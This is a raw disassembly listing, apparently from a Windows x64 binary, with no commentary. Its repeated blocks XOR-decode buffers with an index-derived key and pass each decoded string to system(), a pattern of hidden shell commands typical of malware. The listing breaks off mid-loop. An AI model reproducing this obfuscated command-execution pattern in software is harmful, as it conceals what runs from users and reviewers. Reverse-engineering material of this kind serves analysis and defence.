punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xa0
jl 0x140065a80
jmp 0x140065bb6
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xa0
jl 0x140065b80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9589]
lea rcx, [rbp + 0x72]
mov byte [rbp + 0x72], al
call fcn.14007def0
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x140065d36
mov r8d, esi
cmp r15d, 2
jl 0x140065cf0
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xa0
jl 0x140065c00
jmp 0x140065d36
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xa0
jl 0x140065d00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x980a]
lea rcx, [rbp + 0x73]
mov byte [rbp + 0x73], al
call fcn.14007df60
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x140065eb4
mov r8d, esi
cmp r15d, 2
jl 0x140065e79
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa0
jl 0x140065d80
cmp r8d, 0xa1
jge 0x140065eb4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xa1
jl 0x140065e80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x98ab]
lea rcx, [rbp + 0x74]
mov byte [rbp + 0x74], al
call fcn.14007dfe0
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x140066034
mov r8d, esi
cmp r15d, 2
jl 0x140065ff9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa0
jl 0x140065f00
cmp r8d, 0xa1
jge 0x140066034
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xa1
jl 0x140066000
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3929]
lea rcx, [rbp + 0x75]
mov byte [rbp + 0x75], al
call fcn.14007e060
mov r10, rax
cmp byte [rax + 0x2d], 0
je 0x1400661b1
mov r8d, esi
cmp r15d, 2
jl 0x140066173
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140066080
cmp r8d, 0x2e
jge 0x1400661b1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x2e
jl 0x140066180
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5c88]
lea rcx, [rbp + 0x76]
mov byte [rbp + 0x76], al
call fcn.14007e0a0
mov r10, rax
cmp byte [rax + 0x5b], 0
je 0x140066331
mov r8d, esi
cmp r15d, 2
jl 0x1400662f3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x58
jl 0x140066200
cmp r8d, 0x5c
jge 0x140066331
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x5c
jl 0x140066300
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x64ca]
lea rcx, [rbp + 0x77]
mov byte [rbp + 0x77], al
call fcn.14007e0f0
mov r10, rax
cmp byte [rax + 0x62], 0
je 0x1400664b1
mov r8d, esi
cmp r15d, 2
jl 0x140066473
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x60
jl 0x140066380
cmp r8d, 0x63
jge 0x1400664b1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x63
jl 0x140066480
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5a70]
lea rcx, [rbp + 0x78]
mov byte [rbp + 0x78], al
call fcn.14007e150
mov r10, rax
cmp byte [rax + 0x57], 0
je 0x140066623
mov r8d, esi
cmp r15d, 2
jl 0x1400665ed
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x58
jl 0x140066500
jmp 0x140066623
mov r9, r10
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x58
jl 0x1400665f0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x6280]
lea rcx, [rbp + 0x79]
mov byte [rbp + 0x79], al
call fcn.14007e1a0
mov r10, rax
cmp byte [rax + 0x60], 0
je 0x1400667a1
mov r8d, esi
cmp r15d, 2
jl 0x140066763
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x60
jl 0x140066670
cmp r8d, 0x61
jge 0x1400667a1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x61
jl 0x140066770
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x46c5]
lea rcx, [rbp + 0x7a]
mov byte [rbp + 0x7a], al
call fcn.14007e1f0
mov r10, rax
cmp byte [rax + 0x3a], 0
je 0x140066921
mov r8d, esi
cmp r15d, 2
jl 0x1400668e3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x1400667f0
cmp r8d, 0x3b
jge 0x140066921
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x3b
jl 0x1400668f0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5820]
lea rcx, [rbp + 0x7b]
mov byte [rbp + 0x7b], al
call fcn.14007e240
mov r10, rax
cmp byte [rax + 0x53], 0
je 0x140066aa1
mov r8d, esi
cmp r15d, 2
jl 0x140066a63
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x50
jl 0x140066970
cmp r8d, 0x54
jge 0x140066aa1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x54
jl 0x140066a70
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5874]
lea rcx, [rbp + 0x7c]
mov byte [rbp + 0x7c], al
call fcn.14007e290
mov r10, rax
cmp byte [rax + 0x53], 0
je 0x140066c21
mov r8d, esi
cmp r15d, 2
jl 0x140066be3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x50
jl 0x140066af0
cmp r8d, 0x54
jge 0x140066c21
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x54
jl 0x140066bf0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5ac8]
lea rcx, [rbp + 0x7d]
mov byte [rbp + 0x7d], al
call fcn.14007e2e0
mov r10, rax
cmp byte [rax + 0x58], 0
je 0x140066da1
mov r8d, esi
cmp r15d, 2
jl 0x140066d63
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x58
jl 0x140066c70
cmp r8d, 0x59
jge 0x140066da1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
